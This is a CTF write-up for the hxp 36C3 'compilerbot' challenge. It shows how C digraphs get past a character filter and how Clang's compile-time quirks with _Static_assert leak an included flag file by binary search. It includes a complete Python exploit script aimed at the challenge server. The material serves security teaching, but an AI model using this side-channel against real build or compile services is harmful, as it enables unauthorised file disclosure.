Rating: 0

# hxp 36C3 CTF: compilerbot

> If [Compiler Explorer](https://godbolt.org/) is too bloated for you, you can always rely on our excellent compiler bot to tell you whether you screwed up while coding your latest exploit.
>
>And since we never actually run your code, there’s no way for you to hack it!
>
> Download: [compilerbot-f64128acb63c6bbe.tar.xz](https://2019.ctf.link/assets/files/compilerbot-f64128acb63c6bbe.tar.xz) (10.9 KiB)
> Connection: `nc 88.198.154.157 8011`

The goal in this challenge is to obtain the flag by querying whether a piece of C code compiles. The server removes curly braces and the pound sign (`#`) via

```python
code.translate(str.maketrans('', '', '{#}'))
```

This can easily be bypassed by using the digraphs `<%`, `%:`, and `%>` instead. During the CTF, a lot more teams seemed to use the (deprecated?) trigraphs `??<`, `??>`, and `??=`, which requires disabling warnings with `_Pragma` but is otherwise equivalent.

There is a number of ways to get the actual file included (GNU assembler has the directives `.include` and `.incbin` for this), but `#include "flag"` is sufficient here. Some teams found innovative solutions based on playing with inline assembly; this writeup will instead demonstrate a short C-only solution. To operate on individual flag characters after `#include`, it is easiest to turn it into a string (in theory, you could also brute-force the flag using `#pragma poison` or similar methods, which is why the flag is so long):

```c
#define _str(x) #x
#define str(x) _str(x)
```

Unfortunately, the compiler will not let us simply

```c
str(
#include "flag"
)
```

because we are not allowed to have `#include`s within a macro invocation.
(the compiler complains about an ""unterminated argument list invoking
macro"). However, Clang (not GCC!) lets us use the flag format to our advantage: By
using `#define hxp str(`, we can turn

```c
#include "flag"
)
```

into

```c
str({flag_contents_here})
```

We have C11 support, so we can use `_Static_assert(condition, message)` to
check whether a condition is true at compile time. However, the condition
must be an "integer constant expression", which means that Clang stops us
from simply indexing into the string, regardless of whether we assign it to
an array or a pointer or index the literal directly.

However, Clang _does_ let us use the character extracted directly from the
string in other locations where the standard is not as strict:

```c
static const char thing[str(...)[0]];
_Static_assert(sizeof(thing) == '{', "...");
```

GCC rightfully complains about this: "variably modified ‘thing’ at file scope".
This finally allows us to binary search over every flag character to get the
flag:

```
hxp{Cl4n6_15_c00l_bu7_y0u_r34lly_0u6h7_70_7ry_gcc_-traditional-cpp_s0m3_d4y}
```

Here is the full code:

```python
#!/usr/bin/python3

import argparse
import base64
import socket
import textwrap

PREFIX = textwrap.dedent(r'''
%>

%:define _str(x) %:x
%:define str(x) _str(x)
%:define hxp str(

%:pragma clang diagnostic ignored "-Wpedantic"
%:pragma clang diagnostic ignored "-Wunneeded-internal-declaration"
''')

SUFFIX = textwrap.dedent(r'''
void test(void) <%
''')

def query(endpoint, code):
code = base64.b64encode((PREFIX + code + SUFFIX).encode())
with socket.socket(socket.AF_INET) as so:
so.connect(endpoint)
assert so.recv(1024) == b'> '
so.sendall(code + b'\n')
response = so.recv(1024).decode().strip()
return {'OK': True, 'Not OK': False}[response]

if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument('-H', '--host', help='Target host', default='localhost')
p.add_argument('-p', '--port', help='Target port', type=int, default=8011)
args = p.parse_args()

endpoint = (args.host, args.port)

# Iteratively search for flag characters
# We know that the last character will be a }, so that's when we stop
index = 1
flag_content = 'hxp{'
while not flag_content.endswith('}'):
range_low, range_high = 0, 127 # Inclusive ranges

while range_low != range_high:
midpoint = (range_low + range_high) // 2
code = textwrap.dedent(fr'''
static const char thing[
%:include "flag"
)[{index}]];

_Static_assert(sizeof(thing) <= {midpoint}, "Fail");
''')
if query(endpoint, code):
range_high = midpoint
else:
range_low = midpoint + 1
print(f'\r\x1b[32m{flag_content}\x1b[33m{chr(range_low)}\x1b[0m', end='', flush=True)

flag_content += chr(range_low)
index += 1
print(f'\r\x1b[32m{flag_content}\x1b[0m', end='', flush=True)
print()
```